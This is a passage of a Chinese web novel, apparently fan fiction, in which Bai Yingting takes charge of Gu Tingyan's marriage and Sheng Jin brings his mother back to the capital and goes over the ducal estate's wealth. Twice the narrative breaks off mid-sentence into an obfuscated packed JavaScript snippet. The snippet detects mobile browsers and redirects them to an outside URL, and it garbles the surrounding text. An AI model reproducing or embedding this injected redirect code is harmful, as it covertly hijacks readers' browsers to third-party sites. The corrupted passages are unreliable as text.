清晨,宁远侯府中白滢婷的院子里,顾偃开一早得知白滢婷回来的消息,也知道白滢婷舟车劳顿,便想着让她休息一晚,今早才来找她的。 顾偃开一进门就看到白滢婷身边的丫鬟们忙来忙去的,眼中带着一丝关怀,道:“大娘子,你怎么不好好休息呢?一回来就如此忙碌,身体怎么吃得消呢。” 白滢婷看了一眼顾偃开,脸上带着些许微笑,语气柔和,道:“这不烟姐儿都快十七岁了,我想着是时候给她寻摸一门亲事了。” 白滢婷说完,又看向身旁的丫鬟,吩咐道:“你记得等一下去找绣岳坊的人,让她们明日来府中给三姑娘(顾廷烟)量身做衣裳,记得让绣岳坊的人带着最时新的布料来,让三姑娘多挑几匹,多做几件衣裳。” 顾偃开闻言,下意识的心虚了一下,他找了个位置坐下,等着白滢婷将事情办完,此时的他还不知道白滢婷已经知道秦伯夫人的事情了,毕竟当初秦伯夫人提起时,他并未答应这门亲事,所以他也只是和顾廷煜提了一嘴,而顾廷煜也只是告诉了白滢婷和邱小娘、顾廷烟,要不然,第一个炸锅的就是顾家四房太太,顾家如今唯一一个嫡出的姑娘可是她的亲生女儿啊!顾偃开要是真将顾廷烟嫁给东昌伯爵府的庶子可会间接影响到顾廷荧的亲事,顾廷荧可只比顾廷烟小一岁啊! 等白滢婷忙完后,她瞧着顾偃开还在原地,不由得莞尔一笑,道:“官人今天怎么有闲情逸致待在我这呢?往日你不是有许多公务要忙嘛。” 白滢婷的话让顾偃开脸上浮现出一丝尴尬,他语气有些僵硬,道:“这不今天没事来你这坐坐吗?对了,就大娘子你一人回来吗?盛国公不回来吗?” 白滢婷闻言,也没什么好隐瞒的,直接告诉了顾偃开她们在扬州城发生的事情,最后补充道:“哥哥带着明姐儿、安哥儿、干娘一同回宥阳盛家入族谱了,一时半会儿也回不来汴州城。” 顾偃开整个人都处于震惊的状态中,他没想到自己本就厉害的大舅哥出了一趟门居然还能找个厉害的亲生母亲回来,勇毅侯府独女的名头他还是听说过的,他想着白滢婷对盛老太太的称呼,自己莫名其妙多了个丈母娘,下意识打了个寒战,这个丈母娘可不好对付啊! 白滢婷瞧着顾偃开迟迟未回话,仍维持着脸上的笑容,语气亲和,道:“官人可是还有什么事情要交代我的嘛。” 顾偃开被白滢婷的声音拉了回来,他脸上的笑容有些僵硬,道:“也没什么事情,就是想和你聊聊烟姐儿的亲事。” 白滢婷洋装一副兴致勃勃的样子,语气微微上扬,道:“一般大户人家的姑娘在十六岁时便要寻摸夫婿人选了,也是我一时疏忽,如今烟姐儿都快要十七岁了才想起给她寻摸夫婿人选,我正头疼着这时间有些紧凑到哪给烟姐儿寻摸好的夫婿人选呢?没成想官人这竟有好的人选,这烟姐儿虽说是庶长女,但到底是官人唯一的女儿,想来官人给烟姐儿找的夫婿也不会差到哪里去吧。” 白滢婷这一顶高帽子给顾偃开盖下来,弄得他都不好意思说秦伯夫人提的事情了,过了一会儿,他还是吞吞吐吐,道:“是,秦伯夫人有些中意烟姐儿。” 白滢婷微微低头,顾偃开没看到她眼底闪过的一丝讥讽,随即她又微微抬头,满脸笑意,道:“这是好事啊!就是不知道秦伯夫人打算给哪位嫡子求娶烟姐儿呢?烟姐儿好歹是侯爷唯一的女儿,我们不求什么嫡长子的身份,但怎么的也得配个嫡子吧。” 白滢婷的话让顾偃开一时之间哑然了,他不太好意思和白滢婷说秦伯夫人打算让顾廷烟配个庶子的事情,他打哈哈道:“大娘子说的哪里话啊!秦伯夫人也就是提了一嘴,谁知道她是不是真心的,我就是想告诉你一下。” 白滢婷洋装落寞的提醒道:“那可真是可惜了,到底是煜儿的外家,这烟姐儿若是嫁过去不仅能亲上加亲,未来煜儿若是遇上个什么事情,烟姐儿也能打上个话,不过,这也仅限于烟姐儿嫁的是嫡子,要不然,谁家庶媳妇能在嫡婆母面前为自己娘家说好话呢?” 白滢婷瞧着顾偃开神情复杂的模样,再加了把火,道:“我们家总共就这四个孩子,煜儿身子骨弱,炜儿虽说养回来些,但到底是早产出生的,这身子骨再怎么养和那足月出生的孩子还是不同的,现下身子骨好的也就烟姐儿和烨儿,煜儿未来是要继承爵位的,他那身子骨少不得要弟弟妹夫帮衬着,若是烟姐儿嫁的好些,对煜儿的未来也有些助力。” 白滢婷说到这里,语气微微低沉,道:“我也并非一定要烟姐儿的夫婿是嫡出身的,若是身负功名又有能耐,就是庶出的也成,再说了,官人莫忘了四房的荧姐儿可只比我们烟姐儿小一岁啊!这烟姐儿若是嫁的不好,那荧姐儿的婚事可是不好找的,四弟妹就这一个宝贝疙瘩,若是荧姐儿的婚事受到影响,她怕是要闹上一闹了。” 顾偃开沉默片刻后,叹了口气,道:“大娘子的想法很好,我一个男人也不知道如何给烟姐儿寻门不错的亲事,这件事情就交由大娘子你全权处理吧。”到底爱人的娘家远不如爱人给他留下的孩子重要,一旦涉及到顾廷煜,秦家人在顾偃开这里都得靠边站。 白滢婷笑吟吟的应下了,而顾偃开见事情都解决了便没在多留一会儿,随即与白滢婷告辞离开了白滢婷的院子,此时远在扬州城的盛家,盛纮正和王若弗说道盛瑾一行人要回汴州城的消息,只见王若弗语气中满是惊讶与失望,道:“怎么这么快啊!为什么不能多待一会儿呢?二哥哥不是有三年假期嘛,我还以为二哥哥和母亲能在扬州城待到华儿及笄礼呢?这样也好给华儿撑场面啊!” 盛纮皱了下眉头,语气中带着些许训斥,道:“胡闹,二哥哥堂堂一国公爷,深受陛下器重,即使有三年假期也不能长时间离开汴州城,万一陛下临时有事找二哥哥怎么办,再说了,偌大的国公府可是没有女主人的,府中一应事务都是需要二哥哥把控的,怎么能因为一个小小的及笄礼耽误正事呢。” 王若弗面带不满的向着盛纮发牢骚,道:“二哥哥不是都参加了桂姐儿的及笄礼嘛,就不能等等华儿的及笄礼嘛,华儿可是他的亲侄女啊!还是在母亲膝下长大的。” 盛纮皱了皱眉头,他其实心里是想让盛瑾留下来参加盛华兰的及笄礼的,这样又能给盛华兰添一份体面,可是盛老太太派人送来的信里提到了顾廷烨和顾廷炜离家太久了,唯恐顾偃开顾侯爷心里不舒服,影响两家的关系,盛老太太此话一出,他自是无话可说的,毕竟谁都知道顾家嫡长子身体羸弱,未来这爵位落入谁手都不知道呢,这唯二的两个健康的嫡子在外如此之久,难免心中担忧啊!比起盛华兰的及笄礼这件事情,自然是盛家更为重要,再说了等盛老太太到了汴州城,谁还会不知道他盛纮和盛瑾是亲兄弟呢。 盛纮拉过王若弗,开始安抚道:“我的大娘子啊!这也不怪二哥哥,毕竟除了事务外,顾家的两个嫡子可是出来一年多了,如今端淑县主已然回汴州城了,独留两个孩子在扬州城,这顾侯爷心里难免担忧些,你将心比心,若是柏儿出去这么久,你心里如何呢。” 王若弗听着盛纮的话,想象了一下那个场景,简直心如刀绞一般,她不由自主的想道:“是啊!柏儿可是我唯一的儿子,若是独自一人出去个一年半载的,我都得担心的吃不下睡不着,那顾廷烨、顾廷炜可是顾家唯二健康的嫡子啊!” 盛纮见王若弗不说话,便知道她听进去了,随即又安慰了一番后,便去处理公务了,留下王若弗独自一人在房间里。 王若弗一个人想了一会儿,便唤来刘妈妈一同商量,刘妈妈听完王若弗的话,语气中带着些许无奈,道:“我的大娘子啊!这事情主君说得对,您听主君的便是了。” 王若弗皱了下眉头,语气中仍带着些许不甘,道:“我知道官人说的有道理,可是我也是一片慈母之心啊!华儿的及笄礼若是有二哥哥参加,也能给华儿添上一份体面啊!” 刘妈妈看着王若弗,细细为她分析道:“大娘子的心思我自是知道的,但这不是情况不允许嘛,再说了,这老太太和国公爷回汴州城并非没有好处。”一旁的王若弗一听还有好处,便两眼放光向刘妈妈看去。 刘妈妈见王若弗来了兴趣,便继续道:“大娘子,虽说国公爷已经认祖归宗了,但是汴州城里还没人知道咱家主君和国公爷是兄弟啊!这老太太一进汴州城,便会住进国公府,而后,国公爷就会面见陛下,为老太太求诰命,到时候,谁还不知道咱家主君是国公爷的弟弟,您也算是国公府的大娘子了。” 王若弗听到这里眉头舒缓了一些,刘妈妈再接再厉道:“再则,我们家大姑娘是在老太太膝下长大的,老太太若是不能参加大姑娘的及笄礼,那财物方面肯定会多加弥补的,而且国公爷参加了纭姑娘女儿桂姐儿的及笄礼,却不能参加我们家大姑娘的及笄礼,自是会多加弥补的,只要大娘子您的态度好好的,不发脾气,老太太和国公爷自会觉得委屈了大姑娘,便会从及笄礼的礼物方面弥补我们家大姑娘的。” 王若弗听着刘妈妈的分析,回想起盛瑾给盛华兰的礼物,觉得可能性极大,随即放宽了心,拉着刘妈妈,语气中带着些许庆幸,道:“多亏有你在我身边,那华儿那边要不要去说一下。” 刘妈妈看着王若弗,眼含笑意,道:“大娘子多虑了,大姑娘最是大方聪慧的,这件事情,她肯定看得比您开。” 正如刘妈妈所言,下午盛华兰听王若弗说起盛瑾不能参加她的及笄礼时,眼中满是笑意,道:“母亲,距离我及笄还有一年时间呢,二伯父怎么可能在扬州城待这么久啊!再说了,正如父亲所言,二伯父的事情自然是比我及笄礼更重要的,更何况涉及到了顾家的两个嫡子,不能让二伯父和端淑县主难做,算上去端淑县主也是我的姑母,我这个当小辈的何该为姑母考虑一二。” 王若弗拉着盛华兰的手,轻轻的拍着,语气中满是自豪,道:“华儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8691880|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是你大气,让我省心,你妹妹要有你一半省心,我就不愁了。” 盛华兰面带微笑的搂过王若弗的胳膊,语气柔和,道:“母亲,如儿还小,你好好教,她会好的,最近如儿不是听话多了嘛。” 王若弗回想盛如兰最近的表现,满脸欣慰的表情,道:“你就会给她说好话,算了,既然你不在意,那我也就不必想那么多了,我只要你们都好好的,我便好。”房间内一片温馨。 几天后,盛纮夫妇带着几个孩子来到白家找盛瑾,盛长柏带着盛长枫一同对盛瑾行礼,齐声道:“二伯父,万安。” 盛瑾看着盛长柏和盛长枫,嘴角微微弯起,显得自己平易近人,语气柔和,道:“好好,一家人不必多礼。”随后便带着他们一家子与盛老太太以及几个孩子一同吃了顿饭,这期间几个孩子也相互见了礼。 等盛瑾一行人结束用饭后,盛瑾便让顾廷烨、顾廷炜、盛长梁、盛长柏、盛长枫一同去玩了,自己则是带着盛纮前往书房闲聊起来,而盛老太太和王若弗等人留在盛老太太院中,盛老太太瞧着这几个小的待着也是无趣,便让丫鬟带着她们去另一间房里玩耍,独留下王若弗和盛华兰在房里。 盛老太太拉着盛华兰的手,语气温和,道:“华儿,这次委屈你了,你二伯父先前参加桂姐儿的及笄礼是因着时间凑巧,而你的及笄礼要在一年后,虽说你二伯父有三年的假期,但他圣宠正浓,难保陛下不会有事找他商议,再加上,烨哥儿和炜哥儿出来已久,所以我们才打算近段时间内回汴州城的,实在是无法在扬州城待到一年后了。” 盛华兰满脸笑意,轻声细语,道:“祖母,什么委屈不委屈的,不过是一次及笄礼,您和二伯父的事情更重要。” 盛老太太看着盛华兰这个样子,眼神中闪过一丝满意,语气中带着些许庄重,道:“什么不过是一次及笄礼,女儿家的一生只有一次及笄礼,这是件大事,本就要好好办的,我相信你母亲会给你好好操办的,这也是我放心回汴州城的原因。” 一旁的王若弗不禁点头附和道:“母亲放心,华儿是我头生,我绝对不会委屈了她的,母亲就放心去汴州城吧。” 盛老太太看着王若弗这样胜似满意,语气中带着些许温和,道:“我和你二伯父对你多有愧疚,毕竟我们参加了桂姐儿的及笄礼,却不能参加你的及笄礼,更何况你二伯父此去怕是三五年都没时间来扬州城了,因此,我们打算离开前,将你的及笄礼物准备好。” 盛老太太说着,身边的丫鬟端来了两个不大不小的盒子放在桌子上,她语气柔和的继续道:“这是我和你二伯父给你提前准备的及笄礼物。” 盛老太太用眼神示意丫鬟打开盒子,那个丫鬟将两个盒子都打开后,第一个盒子里面放着三支簪子,分别是金宝石顶簪、水晶镶钻镂空金簪、碧玉七宝玲珑簪,第二个盒子里面放着两对耳坠,分别是粉絮幻幽穆耳坠 、青曦幻幽穆耳坠,一看就是同一类型的耳坠,无论是耳坠还是簪子,看起来都价值不菲,可把盛华兰和王若弗看呆了,尤其是王若弗,她知道盛老太太和盛瑾会弥补盛华兰,但是没想到他们会如此大手笔。 盛华兰赶紧摆了摆手,语气急促,道:“使不得,这些东西太贵重了,祖母和二伯父心里念着我便好了,不用如此破费。” 一旁的王若弗也附和道:“是啊!母亲,您和二哥哥不必如此破费的,心意我们领了,这些还是不用了。”她是世家出身,眼皮子不至于那么浅,这礼物超出了她的心里预估,自是不会收的。 盛老太太端起茶杯,慢悠悠的喝了口茶,语气淡然,道:“你们就收下吧,这是我和你伯父的心意,再说了,既然不能参加华儿你的及笄礼了,自是要好好弥补你的。”盛华兰和王若弗见拒绝不了,便收下了。 盛老太太见盛华兰收下了,脸上的笑意又浓了几分,而盛华兰看着盛老太太心情愉悦,似是无意道:“祖母,我看明儿身边有个小丫头,之前怎么没看到呢。” 盛老太太闻言,直言道:“那个是你二伯父给你堂妹找的贴身女使,也算是你堂妹的玩伴了,名为小桃。” 盛华兰见状也不多言,只是眼含笑意,道:“二伯父找的自然是最好的,可是堂妹身边就这几个女使会不会有点少啊!” 盛老太太脸上的表情不变,语气淡然,道:“我和你二伯父想着到汴州城后,再给明儿添些女使,所以先这样吧。” 盛华兰听到盛老太太这么说,便也不说什么了,接着与盛老太太聊起扬州城其他有趣的事情了,逗的盛老太太哈哈大笑,等到半晚,盛纮夫妇便带着几个孩子一起回盛家去了。 七天后,盛瑾带着盛老太太等人一同回汴州城去,而盛纮带着王若弗和盛家的一众子女前来相送,就这样,盛瑾一行人所在的船只在他们的目光中渐行渐远,逐渐消失不见,等盛纮与王若弗一行人,再也看不到盛瑾一行人的身影后,盛纮便带着一行人回去了。 第 62 章 清晨,宁远侯府中邱小娘的院子里,邱小娘瞧着白滢婷送来的布匹,语气中带着一丝惊讶,道:“大娘子,不是前段日子才找绣岳坊的人来给烟姐儿量身做衣裳嘛,怎么又送来这些个布匹呢?” 莲儿脸上带着得体的笑容,语气柔和,道:“大娘子说了,姑娘家的新衣裳不嫌多,再说了,我们家三姑娘长得好,多做些好看的衣裳来衬三姑娘的容貌也是极好的,这些个布匹都是大娘子特意从库房中找出来的,那绣岳坊的布匹可比不得这些个布匹好看。” 邱小娘上手摸了摸这些个布匹,这手感一摸就是好东西,她收回触摸布匹的手,满脸笑容,道:“那就麻烦莲儿姑娘你替我谢谢大娘子了。” 莲儿仍保持着脸上的表情,道:“小娘的话,我会转达给大娘子的,不过,劳烦小娘和三姑娘快些挑选一些布匹出来,我好送去绣岳坊让人抓紧给三姑娘制作新衣裳。” 邱小娘闻言,急忙拉着顾廷烟一起挑选着莲儿送来的布匹,挑了好一会儿,她们才定下了几匹颜色鲜艳的布匹。 邱小娘看着这些被挑出来的布匹,眼神里流露出满意,道:“这些若是制成衣裳定能衬得烟儿你光彩照人。” 邱小娘的贴身丫鬟在一旁甜言蜜语的附和道:“小娘,我们三姑娘生的好,就是没有这些个衣裳也能让人眼前一亮的。” 邱小娘的贴身丫鬟并没有说错什么,邱小娘之所以能被大秦氏指为顾偃开的妾侍,那她的样貌定是不差的,顾偃开本人长得也不差,所以顾廷烟的相貌也可以说的上是明眸皓齿了。 莲儿见邱小娘已经挑好布匹后,便让身旁的丫鬟们将这些个布匹抱走去制作新衣裳了,毕竟最近有家大娘子要举行宴会,她们需要赶在宴会前制作出顾廷烟的新衣裳,好让顾廷烟穿着新衣裳与白滢婷一同出席宴会,而白滢婷先前就和邱小娘打好招呼,让顾廷烟好好打扮一番,争取在宴席上光芒四射。 等莲儿她们走后,邱小娘看着顾廷烟,眼神中流露出一丝悔意,语气中带着些许哀伤,道:“烟儿生得好,可惜就是从我肚子里出来的,又在我这个小娘膝下养大,这婚事怕是不好找啊!”她到底是东昌伯爵府的一品女使出身,对内宅的一些事情还是知道的,例如庶女若是养在妾侍膝下,恐怕汴州城里大户人家的当家大娘子是看不上这样的媳妇的。 邱小娘的心里有一丝懊悔,不由得回想起当初的想法,道:“当时除去对烟儿你的不舍外,大娘子和主君之间的关系可谓是相敬如宾,更何况大娘子当时全身心的照顾着煜哥儿,又有自己的嫡亲哥儿在身边,我怕她没有心思放在你身上,索性主君和大娘子都没有提到这件事情,我也就装糊涂下去了,后来发生了一些事情,我就更不能提这件事情了。” 邱小娘说到这里,不由的想起了顾偃开,自从顾侯夫人处决大秦氏留下的一批人后,显然顾偃开对她没有以往的尊重了,她自知是为什么,也自觉的减少自己的存在感,争取不碍着顾偃开和白滢婷的眼,谁成想,顾廷烟这个唯一的女儿在顾偃开心中并没有多少分量,要不是秦伯夫人提起婚事的事情,顾偃开怕是都不知道顾廷烟多少岁吧。 邱小娘想到这里下意识的冐冷汗,心里暗暗道:“若不是秦伯夫人舍不得出个嫡子,怕是我的烟儿就要嫁入那虎狼窝了。”顾廷烟的存在不仅仅给她平淡的生活增添了一丝趣味,还是她在顾家后宅活下去的动力。 顾廷烟拉着邱小娘的手,目光温柔如水,语气中带着些许安抚的意味,道:“小娘,你快别这么想了,我能在你身边长大,对我而言是一件让人开心的事情啊!再说了,大娘子连大哥哥都没接到身边扶养,哪里能将我接到身边扶养呢。” 邱小娘看着顾廷烟懂事的样子,眼睛有些发酸,语气有些哽咽,道:“是小娘的错,小娘一味的让你当个没有存在感的人,到头来尽然让你父亲忘了你的存在,若不是秦伯夫人这件事情,小娘还不知道你父亲居然如此不在乎你,若非小娘舔着脸去求大娘子,恐怕你父亲要不了多久就会同意秦伯夫人提起的婚事了,都是小娘的错啊!索性现在大娘子接手了你的婚事。” 邱小娘心里止不住的懊悔,她早该从顾廷煜的婚事中猜出白滢婷不太想插手顾偃开其他孩子的婚事,若是早知如此,她就算是跪死在白滢婷院子内,也不能让顾偃开决定顾廷烟的婚事,不过,也难怪她猜不出来,毕竟一般家中子女婚事,除非主君想要插手,否则都是由主母决定的,谁能想到看起来与顾偃开关系不错的白滢婷,居然会放手将顾廷煜和顾廷烟的婚事交由顾偃开来决定。 顾廷烟听到邱小娘提起顾偃开,心里没有任何波澜,她早已过了需要父爱的年纪,而顾偃开在她出生后就没有来过邱小娘的院子了,因而她极少见到顾偃开,对顾偃开的父爱也谈不上多渴望,毕竟她从邱小娘这里得知顾偃开对她也没有什么感情,不过,正因为他们父女极少见面,所以顾偃开对顾廷烟的印象也极少,这就导致了顾偃开忽略了这位女儿的婚嫁之事。 顾廷烟抱了抱邱小娘,语气淡然,道:“小娘莫要自责,你已经尽自己最大的能力去对我好了,更何况你现下为我去求大娘子也不算晚啊!” 其实顾廷烟心里挺感激白滢婷的,毕竟她从小到大的吃穿用度都没有被人克扣,而且每年还有一件额外的头面首饰,更何况别家姑娘该学的,白滢婷也为她寻了女夫子嬷嬷来教授。 在顾廷烟心目中白滢婷已经是很好的嫡母了,这些年白滢婷在顾家除了顾家五房太太及其子女不待见外,谁不说她一句好啊!况且白滢婷也是当家理事的一把好手,如今在汴州城也算的上是个能干的当家大娘子了。 邱小娘哽咽道:“大娘子是个好的,她当家以来从未找过我的麻烦,也没克扣我的吃穿用度,就连当初我对她隐瞒不报秦家的事情,她也从未怪罪于我,如今为着你的事情连夜从扬州城往汴州城赶,我心里是感激她的,我以后一定会好好敬重大娘子的。” 顾廷烟看着邱小娘,眉眼弯弯,语气中满是笑意,道:“是是是,我和小娘一起敬重大娘子,小娘现在不要想这些个有的没的了,还是好好想想宴席当天我的穿着打扮吧,到时候能找个在汴州城的夫家,也能回来看看小娘。” 邱小娘连连点头道:“是是是,瞧我忘了,我去看看你的首饰,看一下哪些可以搭配这些个衣裳,你也同我一起瞧瞧,我们一定要将你打扮得漂漂亮亮的。”说吧,便拉着顾廷烟一同去瞧首饰了。 时间转瞬即逝,盛瑾一行人到达了汴州城,而国公府的小厮们一早就在此等候了,当国公府的老管家看到盛老太太时,满心欢喜,天知道当他收到盛瑾信件时有多开心啊!不过也难怪他如此欢喜,毕竟这国公府终于有了个女主人。 这些年因着国公府没有女主人,府中内宅的一应事务都由这位老管家处理后,汇报给盛瑾,虽说这没什么,但一些事情还是需要女主人来处理的,最重要的是国公府终于要热闹起来了。 老管家此时有些激动,内心不由自主的想道:“想想国公爷自从国公夫人去世后,每日除了上朝外就是独自一人在家中,很少与人往来,也就曹家老爷经常来找国公爷,这造成了丰国公府门楣看上去十分冷清,以前有轩哥儿和烨哥儿、炜哥儿带来的一丝活力,可自从轩哥儿出仕后,国公爷就更不喜出门了,后来有了陛下特批的三年假期就直接带着白老爷、烨哥儿、炜哥儿去扬州城了,这使得府里变得更加冷清起来,没有了主家,这些个女使小厮们干活也不得劲了,如今好了,有了女主人,国公府可以和外面交集了,国公府还多了个哥儿和姑娘,府中又要热闹了。” 盛瑾和盛老太太都不知道老管家此时复杂的心理活动,等他们下船后,老管家便满脸热情的对着盛老太太行礼,道:“小人见过老太太。” 盛老太太对着老管家微微点了点头,然后,老管家又看着盛瑾怀中的盛长安和身边的盛明兰,眼角微红的行礼,道:“国公爷,这就是我们家姑娘和哥儿嘛,长的可真好看啊!尤其是姑娘,这可真是和大娘子一个模子里刻出来的啊!” 盛明兰和盛长安长的本就讨人喜欢,尤其是当老管家看到盛明兰那与盛长轩十分相似的容貌时,顿时想起了已去世的慕卿云,他这心里一阵酸涩,随即对两个孩子更加亲近了。 盛瑾低头看向怀中的盛长安,又看向身边的盛明兰,面带微笑,语气淡然,道:“是啊!这是我的女儿盛明兰,以后就是国公府的嫡长女了,这位是我已逝兄长的儿子,以后也是国公府正儿八经的哥儿,我对他和对亲生儿子没什么差别,你可以将他当做轩哥儿一般对待。” 老管家压下内心的酸涩,眼神中带着些许喜爱的看着盛明兰和盛长安,道:“是的,国公爷,那么国公爷,我们现在收拾回府吧。” 盛瑾闻言,点了点头,随即管家便吩咐小厮们将船上的东西都卸下来,而后便随着盛瑾一行人回到了府里。 盛明兰一进入丰国公府就满脸好奇的看着四周,顾廷烨和顾廷炜看盛明兰这般,便自告奋勇的带盛明兰去四处看看,盛瑾没有反对,让盛长梁也一同去了,然后,盛瑾随着盛老太太来到了他之前特意让老管家准备的院子,而白老爷则是回到自己的房间休息了。 等盛老太太休息下来后,盛瑾便回到了自己的房间内,他派人去顾家告知白滢婷他们回来的消息,并打算第二天就去给盛老太太请封诰命,毕竟自己认祖归宗这样的大事还是需要禀告一下皇帝的,而白滢婷在得知盛瑾一行人回来的消息时,眼中闪过一丝感动,道:“哥哥到底是担心我啊!” 常嬷嬷瞧着白滢婷这般,轻声细语,道:“国公爷还是拿姑娘当孩子般宠着,自是担忧姑娘处理不来这件事情,所以才赶回来给姑娘撑腰的。” 白滢婷脸上浮现一抹笑容,语气中带着些许柔和,道:“哥哥向来如此,全然忘了我已不再是当初那个白滢婷了。” 白滢婷说到这里,脸上浮现出一抹担忧的神情,道:“想必哥哥在得知顾家的事情后,便急忙处理完盛家的事情往汴州城赶,唉,哥哥也真是的,干娘和父亲都一把年纪了,居然还连累她们一路劳累,说到底也是我的错啊!” 常嬷嬷面带微笑,道:“这是老太太、国公爷和老爷对姑娘的疼爱,姑娘万不能自责,这不是辜负了他们的一片心意嘛,不过,姑娘要不要去一趟丰国公府呢?” 白滢婷沉思片刻,语气中带着些许失落,道:“算了,就让哥哥、干娘、父亲好好休息一段时间吧,再者,哥哥最近八成会给干娘请封诰命,丰国公府估计会开始热闹起来,我晚些再上门拜访吧,不过,还是要去一封信告知哥哥一声。” 常嬷嬷闻言也不好说什么,只是伺候白滢婷写了封信件,让小厮拿去丰国公府交给盛瑾,而盛瑾收到信件后,心里对白滢婷的担忧也消失的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8691881|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一干二净,毕竟他人都在汴州城了,白滢婷若有事也能及时赶到。 第二天清晨,盛瑾一早就进宫面见了皇帝,当皇帝知道盛瑾认祖归宗的全过程后,不经感慨道:“这真是奇妙啊!谁能想到盛瑾居然是勇毅侯府独女的儿子”,随即便应下了盛瑾的请封,很快一封圣旨就到了丰国公府,将盛老太太封为了一品诰命夫人。 这件事情犹如一颗炸弹,将汴州城的人炸的呆愣在原地,谁能想到昔日的勇毅侯府独女居然是盛国公的母亲呢。 汴州城的豪门世家分分派人打听,而盛瑾本就没打算隐瞒此事,于是没过多久,他们便得知了盛瑾认祖归宗的传奇事件,真真是让人目瞪口呆啊!除此之外,还得到国公府添了一个嫡长女和哥儿的消息。 这让汴州城中一些有年龄相配的哥儿姑娘的豪门世家大娘子们有了些意思,汴州城里的豪门世家都是人精,自然知道盛明兰这个嫡长女是有名有实,又是养在勇毅侯府独女膝下,那教养铁定没问题,另外还有个盛长安从小在盛瑾膝下长大,跟亲生的没什么两样,而家底问题,有盛国公在能差到哪去呢,至于他的前程就更不用担心了,这前面不是有顾廷烨和盛长轩这两个例子嘛,那可是个活招牌啊!现下只等着丰国公府开宴席上门祝贺呢,不过,这些盛瑾都不知道,此时的他与老管家正在将丰国公府的账目一五一十的汇报给盛老太太。 盛瑾看着盛老太太,语气平淡的述说着这府内的家产,道:“丰国公府的封地一年收入在一万五千两左右,陛下赏赐给我五个皇庄,每年收入在一万三千两左右,另外我被封为国公后就将私产中的两万亩水田、十五间铺子拨入丰国公府公产中,这些年又陆陆续续购置了四十二间铺子,这些个田产铺子,这些个田产铺子每年收入在六万五千两左右,丰国公府每年公账收入在九万三千两左右。” 盛瑾身旁的老管家无缝衔接,道:“除此之外,丰国公府公账上还有现银五十四万五千一百四十两,不过,国公夫人去世前曾和国公爷一起定下规矩,每年从剩余银钱中取出十分之三作为府中姑娘哥儿的嫁娶费用存储,所以现银中的十六万三千五百四十二两是不能动用的。” 盛老太太在宥阳盛家时已经被慕卿云的嫁妆打击过一次了,如今她听着老管家念这些银钱,心中不仅毫无波澜,还有些好奇的询问道:“这笔嫁妆费用的存储是如何使用的呢?” 老管家如实回答道:“姑娘除去贴补的五千两嫁妆银子外,还需置办一份嫁妆,其中除去三百亩水田和一间铺子外,其他零散散的东西加起来不得超过三千两银钱,哥儿的聘礼除去嫡出的贴补六千五百两银子,庶出的贴补五千两银子外,其他的一律相同,置办的聘礼物品一律不得超过七千两银钱,不过,国公爷曾说过他这一脉四十无子方可纳妾。” 老管家点到为止,盛老太太自然能领会到他的意思,这庶出的规矩怕是自己儿子连夜为盛纮的庶子加上去的,她在心里默默算了一遍,姑娘们的嫁妆再怎么操作也不会超过三万两,而哥儿们的聘礼也同样不会超过一万三千五百两。 盛老太太看了一眼身旁已经有些呆愣的房嬷嬷,咳了一声,房嬷嬷瞬间回过神来,上前去接过老管家的账本,递给盛老太太。 盛瑾瞧见盛老太太看了一眼账本便合上了,他面带微笑的让小厮将一盒东西放在盛老太太桌上,道:“母亲,这是云儿嫁妆中属于明儿的那部分田产铺子的地契,您收好,对了,这是云儿嫁妆存放库房的钥匙,您找个时间将里面属于明儿的那部分东西挑出来,放到您院里的库房中存放好。” 盛瑾说着递出了三把钥匙,盛老太太接过钥匙,语气平淡,道:“瑾儿,我近日便将这些事情办好,然后,尽快将钥匙还给你。” 老管家对此毫无意义,显然也是知道慕卿云的遗嘱的,而盛瑾则是面带微笑,道:“不急,母亲慢慢挑着,若是需要人手尽管找刘大。” 刘大是老管家的名字,他一个人孤苦伶仃的,被盛昀收留后培养成盛瑾的管家,他对丰国公府可谓是忠心耿耿啊! 老管家闻言,点了点头,语气中满是恭谨,道:“老太太若是有什么需要的地方,尽管吩咐小人去办。” 盛老太太看着老管家,微微一笑的点了点头,道:“我知道的。”随即又和盛瑾聊了一会儿后,盛瑾方才离开。 盛老太太在第二天就打开了存放慕卿云嫁妆的库房,饶是嫁妆丰厚的她看着这琳琅满目堆满屋内上下三层的东西也是惊呆了,这里就不得不说盛瑾给自己和慕卿云建的库房是地下一层,上面两层的,其他院子的库房都是地下一层,地上一层,而且他们的库房远比其他库房要大的多的多,更何况这些并不是慕卿云的全部嫁妆,因着慕卿云的嫁妆极多,当初盛瑾让人将慕卿云所在的院子的隔壁两个院子也改造成了库房。 盛老太太在慕卿云的库房内挑了整整五天才将属于盛明兰的那部分挑完,而房嬷嬷等人从最初的冲击到最后的麻木,她们有时候觉得自己拿着这些珍宝像是在拿大米一般,直到盛老太太让她们将东西全部装入库房后才方如大梦初醒般惊叹慕卿云嫁妆之丰厚程度令人难以想象啊! 盛老太太将东西都取完后就直接将慕卿云库房的钥匙还给了盛瑾,毕竟这把钥匙放在她这里,她属实是要整日担忧着会不会弄丢这把钥匙的问题了,不过,她也没忘了将慕卿云给盛明兰的这些东西登记在册。 63.第 63 章 